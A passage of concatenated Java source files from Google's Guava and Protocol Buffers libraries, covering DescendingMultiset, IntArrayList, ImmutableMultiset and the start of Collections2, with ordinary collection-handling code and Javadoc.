return forwardMultiset();
}
@Override
@CheckForNull
public Entry<E> firstEntry() {
return forwardMultiset().lastEntry();
}
@Override
@CheckForNull
public Entry<E> lastEntry() {
return forwardMultiset().firstEntry();
}
abstract Iterator<Entry<E>> entryIterator();
@LazyInit @CheckForNull private transient Set<Entry<E>> entrySet;
@Override
public Set<Entry<E>> entrySet() {
Set<Entry<E>> result = entrySet;
return (result == null) ? entrySet = createEntrySet() : result;
}
Set<Entry<E>> createEntrySet() {
@WeakOuter
class EntrySetImpl extends Multisets.EntrySet<E> {
@Override
Multiset<E> multiset() {
return DescendingMultiset.this;
}
@Override
public Iterator<Entry<E>> iterator() {
return entryIterator();
}
@Override
public int size() {
return forwardMultiset().entrySet().size();
}
}
return new EntrySetImpl();
}
@Override
public Iterator<E> iterator() {
return Multisets.iteratorImpl(this);
}
@Override
public @Nullable Object[] toArray() {
return standardToArray();
}
@Override
@SuppressWarnings("nullness") // b/192354773 in our checker affects toArray declarations
public <T extends @Nullable Object> T[] toArray(T[] array) {
return standardToArray(array);
}
@Override
public String toString() {
return entrySet().toString();
}
}
| google/guava | guava/src/com/google/common/collect/DescendingMultiset.java |
1,349 | // Protocol Buffers - Google's data interchange format
// Copyright 2008 Google Inc. All rights reserved.
//
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file or at
// https://developers.google.com/open-source/licenses/bsd
package com.google.protobuf;
import static com.google.protobuf.Internal.checkNotNull;
import com.google.protobuf.Internal.IntList;
import java.util.Arrays;
import java.util.Collection;
import java.util.RandomAccess;
/**
* An implementation of {@link IntList} on top of a primitive array.
*
* @author [email protected] (Daniel Weis)
*/
final class IntArrayList extends AbstractProtobufList<Integer>
implements IntList, RandomAccess, PrimitiveNonBoxingCollection {
private static final IntArrayList EMPTY_LIST = new IntArrayList(new int[0], 0, false);
public static IntArrayList emptyList() {
return EMPTY_LIST;
}
/** The backing store for the list. */
private int[] array;
/**
* The size of the list distinct from the length of the array. That is, it is the number of
* elements set in the list.
*/
private int size;
/** Constructs a new mutable {@code IntArrayList} with default capacity. */
IntArrayList() {
this(new int[DEFAULT_CAPACITY], 0, true);
}
/**
* Constructs a new mutable {@code IntArrayList} containing the same elements as {@code other}.
*/
private IntArrayList(int[] other, int size, boolean isMutable) {
super(isMutable);
this.array = other;
this.size = size;
}
@Override
protected void removeRange(int fromIndex, int toIndex) {
ensureIsMutable();
if (toIndex < fromIndex) {
throw new IndexOutOfBoundsException("toIndex < fromIndex");
}
System.arraycopy(array, toIndex, array, fromIndex, size - toIndex);
size -= (toIndex - fromIndex);
modCount++;
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (!(o instanceof IntArrayList)) {
return super.equals(o);
}
IntArrayList other = (IntArrayList) o;
if (size != other.size) {
return false;
}
final int[] arr = other.array;
for (int i = 0; i < size; i++) {
if (array[i] != arr[i]) {
return false;
}
}
return true;
}
@Override
public int hashCode() {
int result = 1;
for (int i = 0; i < size; i++) {
result = (31 * result) + array[i];
}
return result;
}
@Override
public IntList mutableCopyWithCapacity(int capacity) {
if (capacity < size) {
throw new IllegalArgumentException();
}
return new IntArrayList(Arrays.copyOf(array, capacity), size, true);
}
@Override
public Integer get(int index) {
return getInt(index);
}
@Override
public int getInt(int index) {
ensureIndexInRange(index);
return array[index];
}
@Override
public int indexOf(Object element) {
if (!(element instanceof Integer)) {
return -1;
}
int unboxedElement = (Integer) element;
int numElems = size();
for (int i = 0; i < numElems; i++) {
if (array[i] == unboxedElement) {
return i;
}
}
return -1;
}
@Override
public boolean contains(Object element) {
return indexOf(element) != -1;
}
@Override
public int size() {
return size;
}
@Override
public Integer set(int index, Integer element) {
return setInt(index, element);
}
@Override
public int setInt(int index, int element) {
ensureIsMutable();
ensureIndexInRange(index);
int previousValue = array[index];
array[index] = element;
return previousValue;
}
@Override
public boolean add(Integer element) {
addInt(element);
return true;
}
@Override
public void add(int index, Integer element) {
addInt(index, element);
}
/** Like {@link #add(Integer)} but more efficient in that it doesn't box the element. */
@Override
public void addInt(int element) {
ensureIsMutable();
if (size == array.length) {
// Resize to 1.5x the size
int length = ((size * 3) / 2) + 1;
int[] newArray = new int[length];
System.arraycopy(array, 0, newArray, 0, size);
array = newArray;
}
array[size++] = element;
}
/** Like {@link #add(int, Integer)} but more efficient in that it doesn't box the element. */
private void addInt(int index, int element) {
ensureIsMutable();
if (index < 0 || index > size) {
throw new IndexOutOfBoundsException(makeOutOfBoundsExceptionMessage(index));
}
if (size < array.length) {
// Shift everything over to make room
System.arraycopy(array, index, array, index + 1, size - index);
} else {
// Resize to 1.5x the size
int length = ((size * 3) / 2) + 1;
int[] newArray = new int[length];
// Copy the first part directly
System.arraycopy(array, 0, newArray, 0, index);
// Copy the rest shifted over by one to make room
System.arraycopy(array, index, newArray, index + 1, size - index);
array = newArray;
}
array[index] = element;
size++;
modCount++;
}
@Override
public boolean addAll(Collection<? extends Integer> collection) {
ensureIsMutable();
checkNotNull(collection);
// We specialize when adding another IntArrayList to avoid boxing elements.
if (!(collection instanceof IntArrayList)) {
return super.addAll(collection);
}
IntArrayList list = (IntArrayList) collection;
if (list.size == 0) {
return false;
}
int overflow = Integer.MAX_VALUE - size;
if (overflow < list.size) {
// We can't actually represent a list this large.
throw new OutOfMemoryError();
}
int newSize = size + list.size;
if (newSize > array.length) {
array = Arrays.copyOf(array, newSize);
}
System.arraycopy(list.array, 0, array, size, list.size);
size = newSize;
modCount++;
return true;
}
@Override
public Integer remove(int index) {
ensureIsMutable();
ensureIndexInRange(index);
int value = array[index];
if (index < size - 1) {
System.arraycopy(array, index + 1, array, index, size - index - 1);
}
size--;
modCount++;
return value;
}
/**
* Ensures that the provided {@code index} is within the range of {@code [0, size]}. Throws an
* {@link IndexOutOfBoundsException} if it is not.
*
* @param index the index to verify is in range
*/
private void ensureIndexInRange(int index) {
if (index < 0 || index >= size) {
throw new IndexOutOfBoundsException(makeOutOfBoundsExceptionMessage(index));
}
}
private String makeOutOfBoundsExceptionMessage(int index) {
return "Index:" + index + ", Size:" + size;
}
}
| protocolbuffers/protobuf | java/core/src/main/java/com/google/protobuf/IntArrayList.java |
1,351 | /*
* Copyright (C) 2008 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkNotNull;
import static java.util.Objects.requireNonNull;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import com.google.common.annotations.VisibleForTesting;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import com.google.errorprone.annotations.DoNotCall;
import com.google.errorprone.annotations.concurrent.LazyInit;
import com.google.j2objc.annotations.WeakOuter;
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.Iterator;
import java.util.List;
import java.util.function.Function;
import java.util.function.ToIntFunction;
import java.util.stream.Collector;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* A {@link Multiset} whose contents will never change, with many other important properties
* detailed at {@link ImmutableCollection}.
*
* <p><b>Grouped iteration.</b> In all current implementations, duplicate elements always appear
* consecutively when iterating. Elements iterate in order by the <i>first</i> appearance of that
* element when the multiset was created.
*
* <p>See the Guava User Guide article on <a href=
* "https://github.com/google/guava/wiki/ImmutableCollectionsExplained">immutable collections</a>.
*
* @author Jared Levy
* @author Louis Wasserman
* @since 2.0
*/
@GwtCompatible(serializable = true, emulated = true)
@SuppressWarnings("serial") // we're overriding default serialization
@ElementTypesAreNonnullByDefault
public abstract class ImmutableMultiset<E> extends ImmutableMultisetGwtSerializationDependencies<E>
implements Multiset<E> {
/**
* Returns a {@code Collector} that accumulates the input elements into a new {@code
* ImmutableMultiset}. Elements iterate in order by the <i>first</i> appearance of that element in
* encounter order.
*
* @since 21.0
*/
public static <E> Collector<E, ?, ImmutableMultiset<E>> toImmutableMultiset() {
return CollectCollectors.toImmutableMultiset(Function.identity(), e -> 1);
}
/**
* Returns a {@code Collector} that accumulates elements into an {@code ImmutableMultiset} whose
* elements are the result of applying {@code elementFunction} to the inputs, with counts equal to
* the result of applying {@code countFunction} to the inputs.
*
* <p>If the mapped elements contain duplicates (according to {@link Object#equals}), the first
* occurrence in encounter order appears in the resulting multiset, with count equal to the sum of
* the outputs of {@code countFunction.applyAsInt(t)} for each {@code t} mapped to that element.
*
* @since 22.0
*/
public static <T extends @Nullable Object, E>
Collector<T, ?, ImmutableMultiset<E>> toImmutableMultiset(
Function<? super T, ? extends E> elementFunction,
ToIntFunction<? super T> countFunction) {
return CollectCollectors.toImmutableMultiset(elementFunction, countFunction);
}
/**
* Returns the empty immutable multiset.
*
* <p><b>Performance note:</b> the instance returned is a singleton.
*/
@SuppressWarnings("unchecked") // all supported methods are covariant
public static <E> ImmutableMultiset<E> of() {
return (ImmutableMultiset<E>) RegularImmutableMultiset.EMPTY;
}
/**
* Returns an immutable multiset containing a single element.
*
* @throws NullPointerException if the element is null
* @since 6.0 (source-compatible since 2.0)
*/
public static <E> ImmutableMultiset<E> of(E e1) {
return copyFromElements(e1);
}
/**
* Returns an immutable multiset containing the given elements, in order.
*
* @throws NullPointerException if any element is null
* @since 6.0 (source-compatible since 2.0)
*/
public static <E> ImmutableMultiset<E> of(E e1, E e2) {
return copyFromElements(e1, e2);
}
/**
* Returns an immutable multiset containing the given elements, in the "grouped iteration order"
* described in the class documentation.
*
* @throws NullPointerException if any element is null
* @since 6.0 (source-compatible since 2.0)
*/
public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3) {
return copyFromElements(e1, e2, e3);
}
/**
* Returns an immutable multiset containing the given elements, in the "grouped iteration order"
* described in the class documentation.
*
* @throws NullPointerException if any element is null
* @since 6.0 (source-compatible since 2.0)
*/
public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3, E e4) {
return copyFromElements(e1, e2, e3, e4);
}
/**
* Returns an immutable multiset containing the given elements, in the "grouped iteration order"
* described in the class documentation.
*
* @throws NullPointerException if any element is null
* @since 6.0 (source-compatible since 2.0)
*/
public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3, E e4, E e5) {
return copyFromElements(e1, e2, e3, e4, e5);
}
/**
* Returns an immutable multiset containing the given elements, in the "grouped iteration order"
* described in the class documentation.
*
* @throws NullPointerException if any element is null
* @since 6.0 (source-compatible since 2.0)
*/
public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E... others) {
return new Builder<E>().add(e1).add(e2).add(e3).add(e4).add(e5).add(e6).add(others).build();
}
/**
* Returns an immutable multiset containing the given elements, in the "grouped iteration order"
* described in the class documentation.
*
* @throws NullPointerException if any of {@code elements} is null
* @since 6.0
*/
public static <E> ImmutableMultiset<E> copyOf(E[] elements) {
return copyFromElements(elements);
}
/**
* Returns an immutable multiset containing the given elements, in the "grouped iteration order"
* described in the class documentation.
*
* @throws NullPointerException if any of {@code elements} is null
*/
public static <E> ImmutableMultiset<E> copyOf(Iterable<? extends E> elements) {
if (elements instanceof ImmutableMultiset) {
@SuppressWarnings("unchecked") // all supported methods are covariant
ImmutableMultiset<E> result = (ImmutableMultiset<E>) elements;
if (!result.isPartialView()) {
return result;
}
}
Multiset<? extends E> multiset =
(elements instanceof Multiset)
? Multisets.cast(elements)
: LinkedHashMultiset.create(elements);
return copyFromEntries(multiset.entrySet());
}
/**
* Returns an immutable multiset containing the given elements, in the "grouped iteration order"
* described in the class documentation.
*
* @throws NullPointerException if any of {@code elements} is null
*/
public static <E> ImmutableMultiset<E> copyOf(Iterator<? extends E> elements) {
Multiset<E> multiset = LinkedHashMultiset.create();
Iterators.addAll(multiset, elements);
return copyFromEntries(multiset.entrySet());
}
private static <E> ImmutableMultiset<E> copyFromElements(E... elements) {
Multiset<E> multiset = LinkedHashMultiset.create();
Collections.addAll(multiset, elements);
return copyFromEntries(multiset.entrySet());
}
static <E> ImmutableMultiset<E> copyFromEntries(
Collection<? extends Entry<? extends E>> entries) {
if (entries.isEmpty()) {
return of();
} else {
return RegularImmutableMultiset.create(entries);
}
}
ImmutableMultiset() {}
@Override
public UnmodifiableIterator<E> iterator() {
final Iterator<Entry<E>> entryIterator = entrySet().iterator();
return new UnmodifiableIterator<E>() {
int remaining;
@CheckForNull E element;
@Override
public boolean hasNext() {
return (remaining > 0) || entryIterator.hasNext();
}
@Override
public E next() {
if (remaining <= 0) {
Entry<E> entry = entryIterator.next();
element = entry.getElement();
remaining = entry.getCount();
}
remaining--;
/*
* requireNonNull is safe because `remaining` starts at 0, forcing us to initialize
* `element` above. After that, we never clear it.
*/
return requireNonNull(element);
}
};
}
@LazyInit @CheckForNull private transient ImmutableList<E> asList;
@Override
public ImmutableList<E> asList() {
ImmutableList<E> result = asList;
return (result == null) ? asList = super.asList() : result;
}
@Override
public boolean contains(@CheckForNull Object object) {
return count(object) > 0;
}
/**
* Guaranteed to throw an exception and leave the collection unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public final int add(E element, int occurrences) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the collection unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public final int remove(@CheckForNull Object element, int occurrences) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the collection unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public final int setCount(E element, int count) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the collection unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public final boolean setCount(E element, int oldCount, int newCount) {
throw new UnsupportedOperationException();
}
@GwtIncompatible // not present in emulated superclass
@Override
int copyIntoArray(@Nullable Object[] dst, int offset) {
for (Multiset.Entry<E> entry : entrySet()) {
Arrays.fill(dst, offset, offset + entry.getCount(), entry.getElement());
offset += entry.getCount();
}
return offset;
}
@Override
public boolean equals(@CheckForNull Object object) {
return Multisets.equalsImpl(this, object);
}
@Override
public int hashCode() {
return Sets.hashCodeImpl(entrySet());
}
@Override
public String toString() {
return entrySet().toString();
}
/** @since 21.0 (present with return type {@code Set} since 2.0) */
@Override
public abstract ImmutableSet<E> elementSet();
@LazyInit @CheckForNull private transient ImmutableSet<Entry<E>> entrySet;
@Override
public ImmutableSet<Entry<E>> entrySet() {
ImmutableSet<Entry<E>> es = entrySet;
return (es == null) ? (entrySet = createEntrySet()) : es;
}
private ImmutableSet<Entry<E>> createEntrySet() {
return isEmpty() ? ImmutableSet.<Entry<E>>of() : new EntrySet();
}
abstract Entry<E> getEntry(int index);
@WeakOuter
private final class EntrySet extends IndexedImmutableSet<Entry<E>> {
@Override
boolean isPartialView() {
return ImmutableMultiset.this.isPartialView();
}
@Override
Entry<E> get(int index) {
return getEntry(index);
}
@Override
public int size() {
return elementSet().size();
}
@Override
public boolean contains(@CheckForNull Object o) {
if (o instanceof Entry) {
Entry<?> entry = (Entry<?>) o;
if (entry.getCount() <= 0) {
return false;
}
int count = count(entry.getElement());
return count == entry.getCount();
}
return false;
}
@Override
public int hashCode() {
return ImmutableMultiset.this.hashCode();
}
@GwtIncompatible
@J2ktIncompatible
@Override
Object writeReplace() {
return new EntrySetSerializedForm<E>(ImmutableMultiset.this);
}
@GwtIncompatible
@J2ktIncompatible
private void readObject(ObjectInputStream stream) throws InvalidObjectException {
throw new InvalidObjectException("Use EntrySetSerializedForm");
}
@J2ktIncompatible private static final long serialVersionUID = 0;
}
@GwtIncompatible
@J2ktIncompatible
static class EntrySetSerializedForm<E> implements Serializable {
final ImmutableMultiset<E> multiset;
EntrySetSerializedForm(ImmutableMultiset<E> multiset) {
this.multiset = multiset;
}
Object readResolve() {
return multiset.entrySet();
}
}
@GwtIncompatible
@J2ktIncompatible
@Override
Object writeReplace() {
return new SerializedForm(this);
}
@GwtIncompatible
@J2ktIncompatible
private void readObject(ObjectInputStream stream) throws InvalidObjectException {
throw new InvalidObjectException("Use SerializedForm");
}
/**
* Returns a new builder. The generated builder is equivalent to the builder created by the {@link
* Builder} constructor.
*/
public static <E> Builder<E> builder() {
return new Builder<>();
}
/**
* A builder for creating immutable multiset instances, especially {@code public static final}
* multisets ("constant multisets"). Example:
*
* <pre>{@code
* public static final ImmutableMultiset<Bean> BEANS =
* new ImmutableMultiset.Builder<Bean>()
* .addCopies(Bean.COCOA, 4)
* .addCopies(Bean.GARDEN, 6)
* .addCopies(Bean.RED, 8)
* .addCopies(Bean.BLACK_EYED, 10)
* .build();
* }</pre>
*
* <p>Builder instances can be reused; it is safe to call {@link #build} multiple times to build
* multiple multisets in series.
*
* @since 2.0
*/
public static class Builder<E> extends ImmutableCollection.Builder<E> {
final Multiset<E> contents;
/**
* Creates a new builder. The returned builder is equivalent to the builder generated by {@link
* ImmutableMultiset#builder}.
*/
public Builder() {
this(LinkedHashMultiset.<E>create());
}
Builder(Multiset<E> contents) {
this.contents = contents;
}
/**
* Adds {@code element} to the {@code ImmutableMultiset}.
*
* @param element the element to add
* @return this {@code Builder} object
* @throws NullPointerException if {@code element} is null
*/
@CanIgnoreReturnValue
@Override
public Builder<E> add(E element) {
contents.add(checkNotNull(element));
return this;
}
/**
* Adds each element of {@code elements} to the {@code ImmutableMultiset}.
*
* @param elements the elements to add
* @return this {@code Builder} object
* @throws NullPointerException if {@code elements} is null or contains a null element
*/
@CanIgnoreReturnValue
@Override
public Builder<E> add(E... elements) {
super.add(elements);
return this;
}
/**
* Adds a number of occurrences of an element to this {@code ImmutableMultiset}.
*
* @param element the element to add
* @param occurrences the number of occurrences of the element to add. May be zero, in which
* case no change will be made.
* @return this {@code Builder} object
* @throws NullPointerException if {@code element} is null
* @throws IllegalArgumentException if {@code occurrences} is negative, or if this operation
* would result in more than {@link Integer#MAX_VALUE} occurrences of the element
*/
@CanIgnoreReturnValue
public Builder<E> addCopies(E element, int occurrences) {
contents.add(checkNotNull(element), occurrences);
return this;
}
/**
* Adds or removes the necessary occurrences of an element such that the element attains the
* desired count.
*
* @param element the element to add or remove occurrences of
* @param count the desired count of the element in this multiset
* @return this {@code Builder} object
* @throws NullPointerException if {@code element} is null
* @throws IllegalArgumentException if {@code count} is negative
*/
@CanIgnoreReturnValue
public Builder<E> setCount(E element, int count) {
contents.setCount(checkNotNull(element), count);
return this;
}
/**
* Adds each element of {@code elements} to the {@code ImmutableMultiset}.
*
* @param elements the {@code Iterable} to add to the {@code ImmutableMultiset}
* @return this {@code Builder} object
* @throws NullPointerException if {@code elements} is null or contains a null element
*/
@CanIgnoreReturnValue
@Override
public Builder<E> addAll(Iterable<? extends E> elements) {
if (elements instanceof Multiset) {
Multiset<? extends E> multiset = Multisets.cast(elements);
multiset.forEachEntry((e, n) -> contents.add(checkNotNull(e), n));
} else {
super.addAll(elements);
}
return this;
}
/**
* Adds each element of {@code elements} to the {@code ImmutableMultiset}.
*
* @param elements the elements to add to the {@code ImmutableMultiset}
* @return this {@code Builder} object
* @throws NullPointerException if {@code elements} is null or contains a null element
*/
@CanIgnoreReturnValue
@Override
public Builder<E> addAll(Iterator<? extends E> elements) {
super.addAll(elements);
return this;
}
/**
* Returns a newly-created {@code ImmutableMultiset} based on the contents of the {@code
* Builder}.
*/
@Override
public ImmutableMultiset<E> build() {
return copyOf(contents);
}
@VisibleForTesting
ImmutableMultiset<E> buildJdkBacked() {
if (contents.isEmpty()) {
return of();
}
return JdkBackedImmutableMultiset.create(contents.entrySet());
}
}
static final class ElementSet<E> extends ImmutableSet.Indexed<E> {
private final List<Entry<E>> entries;
// TODO(cpovirk): @Weak?
private final Multiset<E> delegate;
ElementSet(List<Entry<E>> entries, Multiset<E> delegate) {
this.entries = entries;
this.delegate = delegate;
}
@Override
E get(int index) {
return entries.get(index).getElement();
}
@Override
public boolean contains(@CheckForNull Object object) {
return delegate.contains(object);
}
@Override
boolean isPartialView() {
return true;
}
@Override
public int size() {
return entries.size();
}
// redeclare to help optimizers with b/310253115
@SuppressWarnings("RedundantOverride")
@Override
@J2ktIncompatible // serialization
@GwtIncompatible // serialization
Object writeReplace() {
return super.writeReplace();
}
}
@J2ktIncompatible
static final class SerializedForm implements Serializable {
final Object[] elements;
final int[] counts;
// "extends Object" works around https://github.com/typetools/checker-framework/issues/3013
SerializedForm(Multiset<? extends Object> multiset) {
int distinct = multiset.entrySet().size();
elements = new Object[distinct];
counts = new int[distinct];
int i = 0;
for (Entry<? extends Object> entry : multiset.entrySet()) {
elements[i] = entry.getElement();
counts[i] = entry.getCount();
i++;
}
}
Object readResolve() {
LinkedHashMultiset<Object> multiset = LinkedHashMultiset.create(elements.length);
for (int i = 0; i < elements.length; i++) {
multiset.add(elements[i], counts[i]);
}
return ImmutableMultiset.copyOf(multiset);
}
private static final long serialVersionUID = 0;
}
private static final long serialVersionUID = 0xcafebabe;
}
| google/guava | guava/src/com/google/common/collect/ImmutableMultiset.java |
1,352 | /*
* Copyright (C) 2008 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.CollectPreconditions.checkNonnegative;
import static java.util.Objects.requireNonNull;
import com.google.common.annotations.GwtCompatible;
import com.google.common.base.Function;
import com.google.common.base.Predicate;
import com.google.common.base.Predicates;
import com.google.common.math.IntMath;
import com.google.common.primitives.Ints;
import java.util.AbstractCollection;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.Iterator;
import java.util.List;
import java.util.Spliterator;
import java.util.function.Consumer;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* Provides static methods for working with {@code Collection} instances.
*
* <p><b>Java 8+ users:</b> several common uses for this class are now more comprehensively
* addressed by the new {@link java.util.stream.Stream} library. Read the method documentation below
* for comparisons. These methods are not being deprecated, but we gently encourage you to migrate
* to streams.
*
* @author Chris Povirk
* @author Mike Bostock
* @author Jared Levy
* @since 2.0
*/
@GwtCompatible
@ElementTypesAreNonnullByDefault
public final class Collections2 {
private Collections2() {}
/**
* Returns the elements of {@code unfiltered} that satisfy a predicate. The returned collection is
* a live view of {@code unfiltered}; changes to one affect the other.
*
* <p>The resulting collection's iterator does not support {@code remove()}, but all other
* collection methods are supported. When given an element that doesn't satisfy the predicate, the
* collection's {@code add()} and {@code addAll()} methods throw an {@link
* IllegalArgumentException}. When methods such as {@code removeAll()} and {@code clear()} are
* called on the filtered collection, only elements that satisfy the filter will be removed from
* the underlying collection.
*
* <p>The returned collection isn't threadsafe or serializable, even if {@code unfiltered} is.
*
* <p>Many of the filtered collection's methods, such as {@code size()}, iterate across every
* element in the underlying collection and determine which elements satisfy the filter. When a
* live view is <i>not</i> needed, it may be faster to copy {@code Iterables.filter(unfiltered,
* predicate)} and use the copy.
*
* <p><b>Warning:</b> {@code predicate} must be <i>consistent with equals</i>, as documented at
* {@link Predicate#apply}. Do not provide a predicate such as {@code
* Predicates.instanceOf(ArrayList.class)}, which is inconsistent with equals. (See {@link
* Iterables#filter(Iterable, Class)} for related functionality.)
*
* <p><b>{@code Stream} equivalent:</b> {@link java.util.stream.Stream#filter Stream.filter}.
*/
// TODO(kevinb): how can we omit that Iterables link when building gwt
// javadoc?
public static <E extends @Nullable Object> Collection<E> filter(
Collection<E> unfiltered, Predicate<? super E> predicate) {
if (unfiltered instanceof FilteredCollection) {
// Support clear(), removeAll(), and retainAll() when filtering a filtered
// collection.
return ((FilteredCollection<E>) unfiltered).createCombined(predicate);
}
return new FilteredCollection<>(checkNotNull(unfiltered), checkNotNull(predicate));
}
/**
* Delegates to {@link Collection#contains}. Returns {@code false} if the {@code contains} method
* throws a {@code ClassCastException} or {@code NullPointerException}.
*/
static boolean safeContains(Collection<?> collection, @CheckForNull Object object) {
checkNotNull(collection);
try {
return collection.contains(object);
} catch (ClassCastException | NullPointerException e) {
return false;
}
}
/**
* Delegates to {@link Collection#remove}. Returns {@code false} if the {@code remove} method
* throws a {@code ClassCastException} or {@code NullPointerException}.
*/
static boolean safeRemove(Collection<?> collection, @CheckForNull Object object) {
checkNotNull(collection);
try {
return collection.remove(object);
} catch (ClassCastException | NullPointerException e) {
return false;
}
}
static class FilteredCollection<E extends @Nullable Object> extends AbstractCollection<E> {
final Collection<E> unfiltered;
final Predicate<? super E> predicate;
FilteredCollection(Collection<E> unfiltered, Predicate<? super E> predicate) {
this.unfiltered = unfiltered;
this.predicate = predicate;
}
FilteredCollection<E> createCombined(Predicate<? super E> newPredicate) {
return new FilteredCollection<>(unfiltered, Predicates.and(predicate, newPredicate));
}
@Override
public boolean add(@ParametricNullness E element) {
checkArgument(predicate.apply(element));
return unfiltered.add(element);
}
@Override
public boolean addAll(Collection<? extends E> collection) {
for (E element : collection) {
checkArgument(predicate.apply(element));
}
return unfiltered.addAll(collection);
}
@Override
public void clear() {
Iterables.removeIf(unfiltered, predicate);
}
@Override
public boolean contains(@CheckForNull Object element) {
if (safeContains(unfiltered, element)) {
@SuppressWarnings("unchecked") // element is in unfiltered, so it must be an E
E e = (E) element;
return predicate.apply(e);
}
return false;
}
@Override
public boolean containsAll(Collection<?> collection) {
return containsAllImpl(this, collection);
}
@Override
public boolean isEmpty() {
return !Iterables.any(unfiltered, predicate);
}
@Override
public Iterator<E> iterator() {
return Iterators.filter(unfiltered.iterator(), predicate);
}
@Override
public Spliterator<E> spliterator() {
return CollectSpliterators.filter(unfiltered.spliterator(), predicate);
}
@Override
public void forEach(Consumer<? super E> action) {
checkNotNull(action);
unfiltered.forEach(
(E e) -> {
if (predicate.test(e)) {
action.accept(e);
}
});
}
@Override
public boolean remove(@CheckForNull Object element) {
return contains(element) && unfiltered.remove(element);
}
@Override
public boolean removeAll(final Collection<?> collection) {
return removeIf(collection::contains);
}
@Override
public boolean retainAll(final Collection<?> collection) {
return removeIf(element -> !collection.contains(element));
}
@Override
public boolean removeIf(java.util.function.Predicate<? super E> filter) {
checkNotNull(filter);
return unfiltered.removeIf(element -> predicate.apply(element) && filter.test(element));
}
@Override
public int size() {
int size = 0;
for (E e : unfiltered) {
if (predicate.apply(e)) {
size++;
}
}
return size;
}
@Override
public @Nullable Object[] toArray() {
// creating an ArrayList so filtering happens once
return Lists.newArrayList(iterator()).toArray();
}
@Override
@SuppressWarnings("nullness") // b/192354773 in our checker affects toArray declarations
public <T extends @Nullable Object> T[] toArray(T[] array) {
return Lists.newArrayList(iterator()).toArray(array);
}
}
/**
* Returns a collection that applies {@code function} to each element of {@code fromCollection}.
* The returned collection is a live view of {@code fromCollection}; changes to one affect the
* other.
*
* <p>The returned collection's {@code add()} and {@code addAll()} methods throw an {@link
* UnsupportedOperationException}. All other collection methods are supported, as long as {@code
* fromCollection} supports them.
*
* <p>The returned collection isn't threadsafe or serializable, even if {@code fromCollection} is.
*
* <p>When a live view is <i>not</i> needed, it may be faster to copy the transformed collection
* and use the copy.
*
* <p>If the input {@code Collection} is known to be a {@code List}, consider {@link
* Lists#transform}. If only an {@code Iterable} is available, use {@link Iterables#transform}.
*
* <p><b>{@code Stream} equivalent:</b> {@link java.util.stream.Stream#map Stream.map}.
*/
public static <F extends @Nullable Object, T extends @Nullable Object> Collection<T> transform(
Collection<F> fromCollection, Function<? super F, T> function) {
return new TransformedCollection<>(fromCollection, function);
}
static class TransformedCollection<F extends @Nullable Object, T extends @Nullable Object>
extends AbstractCollection<T> {
final Collection<F> fromCollection;
final Function<? super F, ? extends T> function;
TransformedCollection(Collection<F> fromCollection, Function<? super F, ? extends T> function) {
this.fromCollection = checkNotNull(fromCollection);
this.function = checkNotNull(function);
}
@Override
public void clear() {
fromCollection.clear();
}
@Override
public boolean isEmpty() {
return fromCollection.isEmpty();
}
@Override
public Iterator<T> iterator() {
return Iterators.transform(fromCollection.iterator(), function);
}
@Override
public Spliterator<T> spliterator() {
return CollectSpliterators.map(fromCollection.spliterator(), function);
}
@Override
public void forEach(Consumer<? super T> action) {
checkNotNull(action);
fromCollection.forEach((F f) -> action.accept(function.apply(f)));
}
@Override
public boolean removeIf(java.util.function.Predicate<? super T> filter) {
checkNotNull(filter);
return fromCollection.removeIf(element -> filter.test(function.apply(element)));
}
@Override
public int size() {
return fromCollection.size();
}
}
/**
* Returns {@code true} if the collection {@code self} contains all of the elements in the
* collection {@code c}.
*
* <p>This method iterates over the specified collection {@code c}, checking each element returned
* by the iterator in turn to see if it is contained in the specified collection {@code self}. If
* all elements are so contained, {@code true} is returned, otherwise {@code false}.
*
* @param self a collection which might contain all elements in {@code c}
